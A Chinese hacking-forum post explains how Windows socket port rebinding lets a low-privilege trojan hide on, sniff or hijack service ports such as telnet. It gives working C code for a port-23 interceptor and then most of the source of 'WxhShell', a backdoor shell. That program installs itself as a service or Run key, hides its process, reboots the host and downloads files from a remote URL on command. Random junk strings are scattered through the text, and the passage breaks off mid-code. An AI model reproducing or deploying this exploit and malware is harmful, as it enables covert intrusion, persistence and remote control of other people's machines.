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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uz6S7I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3xSt -MA  
,iKL 68  
  saddr.sin_family = AF_INET; ~)X yrKw  
hSQuML   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p.1@4kgK&r  
kcg{z8cd'r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DlHt#Ob7  
1]Q;fe  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (7l'e=J0  
uURm6mVt9:  
  这意味着什么?意味着可以进行如下的攻击: V(hM@ztN  
hXBAs*4DV8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9Z.Xo kg  
x3j)'`=15  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^O#>LbM"x  
} + ]A?'&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xeo5)  
}H^h ~E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3q'["SS  
h$p]M^Z7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <'n'>@  
HSXv_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }q<p;4<\F  
Rcg q7W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -;NGS )RM  
Q=YIAGK  
  #include 2/XrorV  
  #include BK$cN>J  
  #include " pg5w  
  #include    _C`&(?}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _}bs0 kIz  
  int main() WC& V9Yk  
  { =VC"X?N  
  WORD wVersionRequested; <}uhKp>*  
  DWORD ret; l k~VvRq  
  WSADATA wsaData; / thFs4  
  BOOL val; dC'8orFG+  
  SOCKADDR_IN saddr; 1zNh& "  
  SOCKADDR_IN scaddr; &`@S_YLr  
  int err; 4d x4hBd  
  SOCKET s; FIMM\W  
  SOCKET sc; M `O=rH }  
  int caddsize; 6!39t  
  HANDLE mt; .1{:Q1"S  
  DWORD tid;   7%j1=V/  
  wVersionRequested = MAKEWORD( 2, 2 ); @\*`rl]  
  err = WSAStartup( wVersionRequested, &wsaData ); 1tZ7%0R\g]  
  if ( err != 0 ) { LZ=E  
  printf("error!WSAStartup failed!\n"); As{Q9o5j/  
  return -1; $?Km3N\?v  
  } "?*B2*|}`  
  saddr.sin_family = AF_INET; j.]ln}b/'+  
   K#%@4]jO3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D6I-:{ws  
dDg[ry  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ] /"!J6(e  
  saddr.sin_port = htons(23);  .u3;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _^Z v[P  
  { "F[e~S#V*  
  printf("error!socket failed!\n"); d[F3"b%  
  return -1; S4S}go*G[  
  } XQ'$J_hC  
  val = TRUE; +@^FUt=tq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $6l^::U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oA*88c+{f  
  { aCRiW;+'  
  printf("error!setsockopt failed!\n"); Cl8S_Bz  
  return -1; G_QV'zQ  
  } $jg~ a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3^Q;On|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pzT,fmfk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HIq e~Vc  
'WNq/z"X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mIe 5{.m#  
  { r0Zj'F_e  
  ret=GetLastError(); A I v  
  printf("error!bind failed!\n"); r,<p#4(>_  
  return -1; =TGa\iclpB  
  } s7(1|}jh  
  listen(s,2); 7\AoMk}  
  while(1) kr\#CW0?  
  { ~}_S]^br  
  caddsize = sizeof(scaddr); J 1R5_b  
  //接受连接请求 c;,-I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %0zp`'3Y  
  if(sc!=INVALID_SOCKET) Doe:m#aNj  
  { '};mBW4z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s$ kvLy<  
  if(mt==NULL)  6o1[fr  
  { z.!u<hy(  
  printf("Thread Creat Failed!\n"); ?L|Ai\|  
  break; u f1s}/M  
  } ;v!Ef"E|cV  
  } Byh!Snoe  
  CloseHandle(mt); tmQ,>   
  } ' ,1[rWyc  
  closesocket(s); _ mgu r  
  WSACleanup(); 9aYVbq""  
  return 0; 3fUiYI|&7  
  }   $T_>WUiK  
  DWORD WINAPI ClientThread(LPVOID lpParam) f.c2AY~5[  
  { h %5keiA  
  SOCKET ss = (SOCKET)lpParam; Q yhu=_&  
  SOCKET sc; `Bb32L   
  unsigned char buf[4096]; 1*f/Y9 Z  
  SOCKADDR_IN saddr; ey$H2zmo  
  long num; [M#(su0fv  
  DWORD val; g)}q3-<AK>  
  DWORD ret; }&]T0U`@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^}UFtL i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z%nplG'~|  
  saddr.sin_family = AF_INET; ex.^V sf_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )Wk&c8|y  
  saddr.sin_port = htons(23); {5 3#Xd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  zj$Ve  
  { B}@CtVWFz  
  printf("error!socket failed!\n"); `,Fc271`  
  return -1; OX}ZdM!&f  
  } HP=5 a.  
  val = 100; 0S\HO<~k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <.ZD.u  
  { aqgm  
  ret = GetLastError(); Hn]6re  
  return -1; keJ-ohv)  
  } KDr)'gl&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E?jb?  
  { lr[&*v?h  
  ret = GetLastError(); 5*O]`Q7  
  return -1; F<O<=Ww  
  } K,!f7KKo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y(j vl|z[  
  { "uBr]N:  
  printf("error!socket connect failed!\n"); Pu}PE-b  
  closesocket(sc); ?Hbi[YD  
  closesocket(ss); 0{u#{_  
  return -1; #B__-"cRv  
  } MNX-D0`g  
  while(1) 787}s`,}  
  { ! H4uc  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ! 6_tdZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nz`"f,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >+S* Wtm5  
  num = recv(ss,buf,4096,0); Yt;@ @xe&  
  if(num>0) tp b(.`G  
  send(sc,buf,num,0); $]b&3_O$N8  
  else if(num==0) EU()Nnm2  
  break; NTSKmCvQG  
  num = recv(sc,buf,4096,0); !e0/1 j=  
  if(num>0) e0<L^|S  
  send(ss,buf,num,0); L\^H#:?t  
  else if(num==0) <PQ[N[SU  
  break; _1?Fy u&<5  
  } "Oy&6rrr  
  closesocket(ss); [mQ*];GA  
  closesocket(sc); (ZEDDV2  
  return 0 ; tA9(N>[ *  
  } u=6{P(5$j  
4?e7s.9N  
H@8 ;6D  
========================================================== mQt?d?6  
<*&2b  
下边附上一个代码,,WXhSHELL 0}aw9g  
!_[^%7"S1  
========================================================== |y7#D9m  
N%`Eq@5  
#include "stdafx.h" y8\4TjS1  
~ TALpd  
#include <stdio.h> g/m%A2M&aH  
#include <string.h> pmi`Er  
#include <windows.h> -%)8=  
#include <winsock2.h> ?HaUT(\j  
#include <winsvc.h> %Tv^BYQAZ  
#include <urlmon.h> 8fs::}0  
Nh|QYxOP  
#pragma comment (lib, "Ws2_32.lib") j*;/Cah]k  
#pragma comment (lib, "urlmon.lib") iG;GAw|E  
3:WXrOl  
#define MAX_USER   100 // 最大客户端连接数 v:$Y |mh  
#define BUF_SOCK   200 // sock buffer zbL6TP@=  
#define KEY_BUFF   255 // 输入 buffer >P\/\xL=  
ur2`.dY>3"  
#define REBOOT     0   // 重启 .%EEly  
#define SHUTDOWN   1   // 关机 1(z+*`"WB&  
g:nU&-x#R  
#define DEF_PORT   5000 // 监听端口 k"2xyzt*  
I~>L4~g)  
#define REG_LEN     16   // 注册表键长度 .4wp  
#define SVC_LEN     80   // NT服务名长度 p#dpDjh  
$?u ^hMU=  
// 从dll定义API vMOit,{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [bvIT]Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W=EvEx^?%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *u%4]q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *xOrt)D=  
(_ElM>  
// wxhshell配置信息 K-nf@o+  
struct WSCFG { nP>*0Fq  
  int ws_port;         // 监听端口 A@0%7xm  
  char ws_passstr[REG_LEN]; // 口令 ( U |[C*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 43Yav+G(+  
  char ws_regname[REG_LEN]; // 注册表键名 @E$PjdB5M  
  char ws_svcname[REG_LEN]; // 服务名 {>c O&eiCt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \5_7!.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0iX;%SPYz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +`x8[A)-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [EJ[Gg0m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hs+VA$$*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1v4(  
ccJ@jpXI  
}; RYaf{i`  
( {H5k''  
// default Wxhshell configuration 8eSIY17  
struct WSCFG wscfg={DEF_PORT, v 6?{g  
    "xuhuanlingzhe", o~F @1  
    1, J..>ApX  
    "Wxhshell", +?~'K&@  
    "Wxhshell", Eq9TJt'3y  
            "WxhShell Service", v3+ \A q   
    "Wrsky Windows CmdShell Service", g`!:7|&,_  
    "Please Input Your Password: ", Qcz7IA  
  1, m[C-/f^u|  
  "http://www.wrsky.com/wxhshell.exe", *Ri?mEv hF  
  "Wxhshell.exe" 92GO.xAD?  
    }; i=-zaboo  
n}qHt0N  
// 消息定义模块 :xfD>K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;PJWd|3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n~l )7_G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {b>tX)Tep  
char *msg_ws_ext="\n\rExit."; Z xLjh  
char *msg_ws_end="\n\rQuit."; a8-2:8Su  
char *msg_ws_boot="\n\rReboot..."; U6 "U^  
char *msg_ws_poff="\n\rShutdown..."; o*\kg+8  
char *msg_ws_down="\n\rSave to "; /b20!3  
jpqq>Hbg_  
char *msg_ws_err="\n\rErr!"; ~<3qsA..  
char *msg_ws_ok="\n\rOK!"; A8hj"V47  
0i9y-32-  
char ExeFile[MAX_PATH]; FK{ YRt  
int nUser = 0; _tL*sA>[~)  
HANDLE handles[MAX_USER]; 0%}$@H5i  
int OsIsNt; [syuoJ  
fEdQR->  
SERVICE_STATUS       serviceStatus; VY@uQ#&A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @?{n`K7{`  
{!xPq%  
// 函数声明 $GUSTV  
int Install(void); B N@*CG  
int Uninstall(void); nbw&+dcJ8  
int DownloadFile(char *sURL, SOCKET wsh); y%=\E  
int Boot(int flag); #;a 1=8H  
void HideProc(void); cg<10KT  
int GetOsVer(void); $ # @G!  
int Wxhshell(SOCKET wsl); SZ~Ti|^  
void TalkWithClient(void *cs); ?b:J6(-  
int CmdShell(SOCKET sock); KSuP'.l  
int StartFromService(void); O$Wt\Y <q  
int StartWxhshell(LPSTR lpCmdLine); (zBa2Vmmv  
RM-| ?%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UMo=bs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); x'; 6  
z}s0D]$+x  
// 数据结构和表定义 57)S"  
SERVICE_TABLE_ENTRY DispatchTable[] = U#+S9jWe  
{ `l1{BU  
{wscfg.ws_svcname, NTServiceMain}, ,$mnD@)  
{NULL, NULL} [L|H1ll  
}; vd SV6p.d  
z*l3O~mZ  
// 自我安装 RERum  
int Install(void) 3otia ;&B  
{ ,`G8U/  
  char svExeFile[MAX_PATH]; q+3Z3v  
  HKEY key; A<r@,*(g  
  strcpy(svExeFile,ExeFile); kG &.|  
 {IYfq)c  
// 如果是win9x系统,修改注册表设为自启动 }q G{1Er  
if(!OsIsNt) { 0lF.!\9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Frc:Y{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ._~_OVU  
  RegCloseKey(key); /lx\9S|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = I Ls[p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?a7PxD.  
  RegCloseKey(key); @~U: |h  
  return 0; {tV)+T  
    }  3p"VmO  
  } \^iJv ~d  
} rF2`4j&!  
else { PSI5$Vna4p  
dZIAotHN:  
// 如果是NT以上系统,安装为系统服务 kTAb <  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y]P'; C_eP  
if (schSCManager!=0) BZ">N  
{ dd@^e)VZB  
  SC_HANDLE schService = CreateService n&D<l '4  
  ( 3DV';  
  schSCManager, ?!U=S=8  
  wscfg.ws_svcname, *$Z}v&-0k  
  wscfg.ws_svcdisp, 8E&}+DR?  
  SERVICE_ALL_ACCESS, aA-A>z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r )ZUeHt}w  
  SERVICE_AUTO_START, ~.u}v~ F  
  SERVICE_ERROR_NORMAL, & 1p\.Y  
  svExeFile, lTv I;zy  
  NULL, AMG}'P:  
  NULL, h=.|!u  
  NULL, S 3Tp__  
  NULL, ,a eQXI#@  
  NULL {(w/_C9  
  ); o%i^t4J$e  
  if (schService!=0) i6?,2\K  
  { mp!KPw08':  
  CloseServiceHandle(schService); u pg?  
  CloseServiceHandle(schSCManager); AqB5B5}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PUV)w\!&is  
  strcat(svExeFile,wscfg.ws_svcname); rmu5K$pl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 !bODd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Yz=(zj  
  RegCloseKey(key); p~6/+ap  
  return 0; -=iGl5P?  
    } &PaqqU.  
  } S<rdPS*P  
  CloseServiceHandle(schSCManager); veAg?N<c p  
} =.(yOUI  
} Nz_c]3_j  
rZ2X$FO@  
return 1; AD#]PSB  
} 6!dbJ5x1  
J( JsfU4  
// 自我卸载 ( NWT/yBx  
int Uninstall(void) M(|Qvh{Q6  
{ GmP)"@O](;  
  HKEY key; Zt4g G KG  
%tul(Z~<1  
if(!OsIsNt) { d9>*a$x;/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jWJq[l  
  RegDeleteValue(key,wscfg.ws_regname); Jz7a|pgep  
  RegCloseKey(key); |z\5Ik!fF]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~XN--4%Q  
  RegDeleteValue(key,wscfg.ws_regname); 2+zE|I.  
  RegCloseKey(key); 1^XuH('  
  return 0; i!+D ,O  
  } =F'p#N0_2  
} ph{p[QI:{X  
} z%$ E6Im  
else { QA>(}u\+  
kP~'C'5Ys  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LOQoi8j  
if (schSCManager!=0) J!5BH2bg  
{ gwhd) .*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q9fCoz  
  if (schService!=0) =sy>_   
  { #[0:5$-[  
  if(DeleteService(schService)!=0) { !$Aijd s5  
  CloseServiceHandle(schService); bHVAa#  
  CloseServiceHandle(schSCManager); :MeshzWK  
  return 0; !`=ms1%U  
  } K*iy^}  
  CloseServiceHandle(schService); ASmMj;>UM  
  } 9rXbv4{  
  CloseServiceHandle(schSCManager); dp`xyBQ3  
} L[l ?}\  
} rt">xVl  
xw_VK1  
return 1; ^kZfE"iE2  
} f!6oW(r-L  
(ii6w d< *  
// 从指定url下载文件 @_"B0$,-i  
int DownloadFile(char *sURL, SOCKET wsh) Oop5bg  
{ }L Q9db1  
  HRESULT hr; I)#=#eI* :  
char seps[]= "/"; 0#(K}9T)  
char *token; ,XT#V\qne  
char *file; ' >(])Oq,  
char myURL[MAX_PATH]; 5/x"!Jk  
char myFILE[MAX_PATH]; +|}R^x`z  
'J^ M`/  
strcpy(myURL,sURL); *9:oTN  
  token=strtok(myURL,seps); z_%G{H+:l  
  while(token!=NULL) \zj _6Os  
  { zNSix!F  
    file=token; <p@c %e,_  
  token=strtok(NULL,seps); DxjD/? R8  
  } >! +.M9  
;>^oe:@  
GetCurrentDirectory(MAX_PATH,myFILE); 6o@}k9AN  
strcat(myFILE, "\\"); ~wnTl[:  
strcat(myFILE, file); e$F]t *)Xa  
  send(wsh,myFILE,strlen(myFILE),0); #_yQv?J  
send(wsh,"...",3,0); [NcS[*qp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6BIP;, M=  
  if(hr==S_OK) ^l1tQnj)7  
return 0; n^|;J*rD  
else CU =}]Y  
return 1; =4GJYhj  
=! v.VF\;  
} `(A6uakd  
hW*2Le!I  
// 系统电源模块 ~ILig}I  
int Boot(int flag) T1zft#1~  
{ ?]%JQ]Gf*  
  HANDLE hToken; "bZV<;y6  
  TOKEN_PRIVILEGES tkp; qGMM3a)Q  
v+-f pl&  
  if(OsIsNt) { & pwSd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2mL1BG=Yk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?]gZg[  
    tkp.PrivilegeCount = 1; "sLdkd}dj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f@l6]z{.L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZK5(_qW&i  
if(flag==REBOOT) { )/k0*:OMyO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %VYQz)yW  
  return 0; XfA3Ez,}  
} #QJ  mAA  
else { ln.kEhQ3B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wd4fIegk  
  return 0; (^GVy=  
} <B 5^  
  } $w%oLI@kl  
  else { \3K6NA!L  
if(flag==REBOOT) { || ?B1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bHlG(1uf  
  return 0; Cw?AP6f%  
} FD(zj^*  
else { Pg[zRRf<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XuJwZN!(  
  return 0; `7jm   
} >V(>2eD'S  
} z.1 6%@R  
Ku LZg  
return 1; FW7+!A&F  
} vZ 4Z+;.  
,4j$kR  
// win9x进程隐藏模块 /Nq!^=  
void HideProc(void) $oE 4q6b  
{ yb/< 7  
`.;7O27A^%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lhl) pP17  
  if ( hKernel != NULL ) T~$ePVk>L  
  { Y^LFJB|b4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]Oc :x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DjOFfD\MF  
    FreeLibrary(hKernel); [2w3c4K  
  } o0-e,F>u  
1 hZM))  
return; Te'^O,C)y$  
} q`1t*<sk  
B2d$!Any  
// 获取操作系统版本 <6<uO\B\  
int GetOsVer(void) ,<hXNN  
{ 4:r^6m%%  
  OSVERSIONINFO winfo; @usQ*k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B0p>'O2  
  GetVersionEx(&winfo); uW>AH@Pij  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6AUzS4O  
  return 1; 2DQ'h}BI  
  else u4VQx,,  
  return 0; 4NR,"l)  
} zQ{ Q>"-  
i`&yPw  
// 客户端句柄模块  p<*-B  
int Wxhshell(SOCKET wsl) lNsPwyCoj  
{ 8g>jz 8  
  SOCKET wsh; }"m@~kg=  
  struct sockaddr_in client; gp-wlu4  
  DWORD myID; K'?ab 0  
IUd>jHp`6  
  while(nUser<MAX_USER) D{N1.rSxv  
{ "vLqYc4$  
  int nSize=sizeof(client); !c6 lP'U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m.K"IXD  
  if(wsh==INVALID_SOCKET) return 1; f~Kln^  
*\VQ%_wg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !LIWoa[ F.  
if(handles[nUser]==0) dUO~dV1  
  closesocket(wsh); ~fCD#D2KU  
else I$f:K]|.m!  
  nUser++; u x:,io  
  } )>\Ne~%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /2l4'Q=  
00;=6q]TA  
  return 0; |:!0`p{R  
} Z?nMt  
ZLL0 6p   
// 关闭 socket 9!9 Gpi  
void CloseIt(SOCKET wsh) uaU!V4-  
{ vpXS!o>/Sn  
closesocket(wsh); f[|xp?ef  
nUser--; {ReAl_Cm  
ExitThread(0);  h@W}xT  
} *3 9sh[*}  
#v&&GuF  
// 客户端请求句柄 m k -" U7;  
void TalkWithClient(void *cs) %{}Jr`  
{ R o-Mex2  
up:e0di{  
  SOCKET wsh=(SOCKET)cs; Wb4sfP_  
  char pwd[SVC_LEN]; c7iu[vE'+  
  char cmd[KEY_BUFF]; &)bar.vw/  
char chr[1]; ,YkQJ$  
int i,j; qbP[  9  
{.!:T+'Xi\  
  while (nUser < MAX_USER) { q!AS}rV  
&UzZE17R  
if(wscfg.ws_passstr) { ,/d-o;W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *:&fw'vd,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zZf#E@=$|  
  //ZeroMemory(pwd,KEY_BUFF); }VFSF/\^  
      i=0; {Ua5bSbh  
  while(i<SVC_LEN) { ^ 1J;SO|  
55!9U:{  
  // 设置超时 2<988F  
  fd_set FdRead; @x=CMF15  
  struct timeval TimeOut; MiSFT5$v6  
  FD_ZERO(&FdRead); |Pj _L`G  
  FD_SET(wsh,&FdRead); tXp)o >"  
  TimeOut.tv_sec=8; Jp= (Q]ab  
  TimeOut.tv_usec=0; +pF z&)?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,]cd%w9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hqBwA1](a  
]7VK&YfN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Kh`ATme  
  pwd=chr[0]; V!Joh5=a  
  if(chr[0]==0xd || chr[0]==0xa) { NKB! _R+  
  pwd=0; bX6*/N  
  break; qkBnEPWZy  
  } ';lO[B  
  i++; ?.Kl/8ml  
    } kh5V&%>?  
I+<;D sp  
  // 如果是非法用户,关闭 socket XG [%oL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -[7.VP   
} *Zc-&Dk:Ir  
*Z0}0< D@Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3{c&%F~!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H{}6`;W  
A%2!Hr  
while(1) { au7BqV!uL  
sV+>(c-$  
  ZeroMemory(cmd,KEY_BUFF); r;'!qwr  
"*T)L<G  
      // 自动支持客户端 telnet标准   S_QDYnF)`  
  j=0; gTq-\k(  
  while(j<KEY_BUFF) { m2}&5vD8-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ECSC,oJ  
  cmd[j]=chr[0]; dKMuo'H'%  
  if(chr[0]==0xa || chr[0]==0xd) { _AO0:&  
  cmd[j]=0; %sq=lW5R{b  
  break; givK{Yt<B  
  } cK258mY  
  j++; MVj@0W33m  
    } cshUxabB  
H}@|ucM"\  
  // 下载文件 ZHBwoC#5}  
  if(strstr(cmd,"http://")) { K4rr.f6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z  b1v  
  if(DownloadFile(cmd,wsh)) 0N}5sF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u,pm\  
  else .SsIU\[)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G'epsD,.bX  
  } Dxe|4"%^  
  else { Uyh   
jTqba:q@  
    switch(cmd[0]) { p"JSYF 9]  
  -`RJ k(  
  // 帮助 ?1{`~)"  
  case '?': { d!d 3r W;A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T'V(%\w  
    break; -Z Z$ 1E  
  } }}2 kA  
  // 安装 {)[i\=,`{  
  case 'i': { kgIWgk%  
    if(Install()) 9j 8t<5s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -r2cK{Hhp&  
    else {, |"Rpd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~L1O\V i  
    break; w0IB8GdF  
    } {$t*Mb0  
  // 卸载 /;0>*ft4  
  case 'r': { "tark'  
    if(Uninstall()) )k1,oUx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G225Nz;Y*  
    else P=@lkF!\#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFhn}C3 i  
    break; JA}'d7yEa  
    } <It7s1O  
  // 显示 wxhshell 所在路径 I Q L~I13  
  case 'p': { >(CoXSV5  
    char svExeFile[MAX_PATH]; 8.^U6xA  
    strcpy(svExeFile,"\n\r"); YUb,5Y0  
      strcat(svExeFile,ExeFile); [w/t  
        send(wsh,svExeFile,strlen(svExeFile),0); =tNiIU  
    break; ]aRD6F:L  
    } M;Rw]M  
  // 重启 8_m9CQ6 i  
  case 'b': { `Y;gMrp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /RC!Yi  
    if(Boot(REBOOT)) hN53=X:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)|4>J*B  
    else { $te,\$&}  
    closesocket(wsh); C6M/$_l&a  
    ExitThread(0); @>@Nu g2   
    } w2+]C&B*  
    break; -9I%   
    } ewG21 q$  
  // 关机 =.oWguzu  
  case 'd': { V^z;^mdd  
